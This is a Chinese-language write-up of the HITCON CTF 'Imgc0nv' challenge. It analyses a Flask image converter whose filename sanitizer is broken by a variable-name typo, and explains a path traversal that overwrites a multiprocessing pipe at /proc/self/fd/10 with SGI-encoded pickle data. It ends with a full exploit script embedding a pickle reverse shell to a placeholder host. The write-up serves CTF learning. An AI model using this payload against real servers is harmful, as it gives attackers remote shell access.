HitconCTF-Imgc0nv

hitconCTF,这场比赛还挺难的,一如既往的爆0,什么时候才能成为糕手

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115

from flask import Flask, request, send_file, g

import os
import io
import zipfile
import tempfile
from multiprocessing import Pool
from PIL import Image


def convert_image(args):
file_data, filename, output_format, temp_dir = args
try:
with Image.open(io.BytesIO(file_data)) as img:
if img.mode != "RGB":
img = img.convert('RGB')

filename = safe_filename(filename)
orig_ext = filename.rsplit('.', 1)[1] if '.' in filename else None

ext = output_format.lower()
if orig_ext:
out_name = filename.replace(orig_ext, ext, 1)
else:
out_name = f"{filename}.{ext}"

output_path = os.path.join(temp_dir, out_name)

with open(output_path, 'wb') as f:
img.save(f, format=output_format)

return output_path, out_name, None
except Exception as e:
return None, filename, str(e)


def safe_filename(filename):
filneame = filename.replace("/", "_").replace("..", "_")
return filename




app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024 # 5 MB


@app.before_request
def before_request():
g.pool = Pool(processes=8)

@app.route('/')
def index():
return send_file('index.html')


@app.route('/convert', methods=['POST'])
def convert_images():
if 'files' not in request.files:
return 'No files', 400

files = request.files.getlist('files')
output_format = request.form.get('format', '').upper()

if not files or not output_format:
return 'Invalid input', 400

with tempfile.TemporaryDirectory() as temp_dir:
file_data = []
for file in files:
if file.filename:
file_data.append(
(file.read(), file.filename, output_format, temp_dir)
)

if not file_data:
return 'No valid images', 400

results = list(g.pool.map(convert_image, file_data))

successful = []
failed = []

for path, name, error in results:
if not error:
successful.append((path, name))
else:
failed.append((name or 'unknown', error))

if not successful:
error_msg = "All conversions failed. " + \
"; ".join([f"{f}: {e}" for f, e in failed])
return error_msg, 500

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
for path, name in successful:
zf.write(path, name)

if failed:
summary = f"Conversion Summary:\nSuccessful: {len(successful)}\nFailed: {len(failed)}\n\nFailures:\n"
summary += "\n".join([f"- {f}: {e}" for f, e in failed])
zf.writestr("errors.txt", summary)

zip_buffer.seek(0)

return send_file(zip_buffer,
mimetype='application/zip',
as_attachment=True,
download_name=f'converted_{output_format.lower()}.zip')


if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5001)

这道题是一个图片转换的网站,实现了一个防止目录跨越的函数

1
2
3
def safe_filename(filename):
filneame = filename.replace("/", "_").replace("..", "_")
return filename

有意思的是注意filneame,并不是filename,所以说,这道题还是要打目录跨越
这个时候我瞥见debug开了,还以为可能会是热重载,绕过这两个东西

1
2
3
4
with Image.open(io.BytesIO(file_data)) as img:

with open(output_path, 'wb') as f:
img.save(f, format=output_format)

以为往一张图片里塞些python代码即可(),实操每进展,img里的save函数好像都会转为二进制
走到这里确实是每招了()

学习

题解里给了一种很难想到的思路()
关于Pillow的image
对于这道题,主要学习它选择格式进行存储pickle数据的思路,以及跨越目录的细节,至于关键的pickle反序列化,想在后半段进行CVE复现
我们该如何选择这样格式的图片呢?
这里面涉及两类,一个是跨越目录的精细调控,另一个是格式选择()

跨越目录

关注核心代码,这个逻辑好好懂下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
try:
with Image.open(io.BytesIO(file_data)) as img:
if img.mode != "RGB":
img = img.convert('RGB')

filename = safe_filename(filename)
orig_ext = filename.rsplit('.', 1)[1] if '.' in filename else None

ext = output_format.lower()
if orig_ext:
out_name = filename.replace(orig_ext, ext, 1)
else:
out_name = f"{filename}.{ext}"

output_path = os.path.join(temp_dir, out_name)

with open(output_path, 'wb') as f:
img.save(f, format=output_format)

return output_path, out_name, None
except Exception as e:
return None, filename, str(e)

注意xxx../../../../flag python里面是无法自动规范的(php就是最好的语言)
为什么我会比较这个?注意题目允许我传入修改后的文件后缀,你以为可以自定义了吗?
这必须得符合Pillow库的要求,否则会报错
而且注意替换逻辑,根据点号后的后缀,从前往后进行替换,这个时候我们可以用已知路径(必须是合法路径)进行绕过,有点牛哇
这要求我们找到一个已知路径,里面含有一部分是Pillow库允许的后缀格式,比如

1
/usr/local/lib/python3.13/wsgiref/../../../../../../../../../.././proc/self/fd/10

最终目的是替换/proc/self/fd/10的内容
为啥我们前面要匹配这个路径呢?因为它是sgi
所以传入的路径是

1
/usr/local/lib/python3.13/w/proc/self/fd/10ref/../../../../../../../../../.././proc/self/fd/10

系统检测到替换成sgi,完美实现目录跨越
当然不止是sgi,还有其他的格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
{
"im": [
"/usr/local/include/python3.13/internal/mimalloc",
"/sys/kernel/slab/btrfs_prelim_ref",
"/sys/devices/virtual/net/lo/queues/tx-0/byte_queue_limits",
"/sys/bus/platform/drivers/alarmtimer",
"/etc/systemd/system/timers.target.wants",
"/sys/module/libnvdimm",
"/usr/local/lib/python3.13/importlib",
"/usr/local/lib/python3.13/email/mime",
"/sys/kernel/slab/posix_timers_cache",
"/usr/local/include/python3.13/internal/mimalloc/mimalloc",
"/sys/devices/pnp0/00:00/rtc/rtc0/alarmtimer.0.auto",
"/usr/share/doc/libpam-runtime",
"/var/lib/systemd/deb-systemd-helper-enabled/timers.target.wants",
"/etc/security/limits.d",
"/sys/devices/virtual/net/eth0/queues/tx-0/byte_queue_limits",
"/sys/bus/nd/drivers/nvdimm",
"/usr/local/lib/python3.13/site-packages/pip/_internal/metadata/importlib",
"/usr/lib/mime"
],
"ico": [
"/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/BidiM",
"/usr/local/lib/python3.13/site-packages/gunicorn",
"/usr/local/lib/python3.13/site-packages/gunicorn-23.0.0.dist-info",
"/usr/lib/x86_64-linux-gnu/perl-base/unicore"
],
"mpo": [
"/usr/local/lib/python3.13/importlib",
"/usr/local/lib/python3.13/site-packages/pip/_internal/metadata/importlib"
],
"sgi": [
"/usr/local/lib/python3.13/wsgiref"
],
"bmp": [
"/usr/share/doc/libmpfr6",
"/usr/share/doc/libmpc3"
]
}

选择转化为sgi是因为基于后续的内容存储
当然这只是第一步
如何选择文件格式,基于它的文件内容存储,实现比较好的pickle数据传输进行反序列化呢?

文件选择

这一步其实是一个描述我初做时的问题
所以都是二进制数据,可以传入python代码被理解吗?后面也许会看看
首先pass掉大部分文件比如PNG,JPEG,GIF等等,他们会进行压缩编码等等,影响我们传入的pickle数据,一些过于复杂的格式也pass掉
目光看到未压缩或简单结构的格式
比如BMP 和 SGI

BMP

是一种简单的未压缩位图格式。它包含一个文件头(BITMAPFILEHEADER)和一个信息头(BITMAPINFOHEADER),之后就是原始的BGR像素数据。
缺点:文件头是固定的结构,其内容(如图像大小)会影响数据解析。
更重要的是,BMP格式默认会进行4字节对齐(Padding)。这意味着图像每行的字节数如果不是4的倍数,它会自动补零。
这会破坏我们精心计算的Payload偏移,让利用变得非常复杂和不可靠。虽然有人用超大BMP文件成功利用(用海量数据淹没管道,赌Payload能对齐),但这种方式效率低下且不稳定。

SIG

SGI格式有一个固定且较短的文件头。作者指出其文件头签名是 0x01da0001。这个头是固定的,我们可以提前知道它的内容
原始(Raw)的像素数据:在文件头之后,SGI格式通常会直接存储连续的、未压缩的RGB像素数据
选择它可以很好的存入pickle数据不被各种情况影响

当Python的 multiprocessing.Pool() 被创建时,它会在后台创建新的子进程,并且为了和这些子进程通信,它会建立管道(Pipe)。
这个管道在操作系统内部本质上就是一个先进先出(FIFO)的数据队列。一个进程往里面写,另一个进程可以从里面读。
我们把数据传入这个地方,可以让它对恶意内容进行pickle反序列化处理

multiprocessing 的进程间通信(IPC)是通过 pickle 实现-CVE

CVE-2020-10796
阿里云上找CVE复现倒还是很方便的()
至于对该CVE的复现,就放到其他地方吧,最后附一篇exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from PIL import Image, ImageDraw
CONV_URL = 'http://chall.tld/convert'
width, height = 65535, 159
img = Image.new('RGB', (width, height), 'black')
draw = ImageDraw.Draw(img)
draw.rectangle([(65504, 3), (65505, 3)], fill='#0000FF') # size=0xFFFF (0xFF x 2px)
# reverse shell
payload = b'cbuiltins\nexec\n(Vimport socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("vps.tld",13337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);\ntR....'
for i, c in enumerate(payload):
draw.rectangle([
((65506 + i) % width, 3 - (65506 + i) // width),
((65506 + i) % width, 3 - (65506 + i) // width)
], fill='#FFFF%02X' % (c))
img.save('pixel.png', 'PNG')
##### request #####
import requests
with open('pixel.png', 'rb') as f:
fd = 10
path = f'/proc/self/fd/{fd}'
files = {
'files': (f'/usr/local/lib/python3.13/w{path}ref/../../../../../../../../../../.{path}', f)
}
response = requests.post(CONV_URL, files=files, data={'format': 'SGI'})
print(response.status_code)
print(response.text)

后记

以前做php文件上传的题目习惯不好,对于各个文件格式没有清晰认识,这里面使用了img.save(f, format=output_format)进行转换,注定了要找到一个可以控制数据的文件类型,这里选择了SGI,感觉可以作为一个出题点()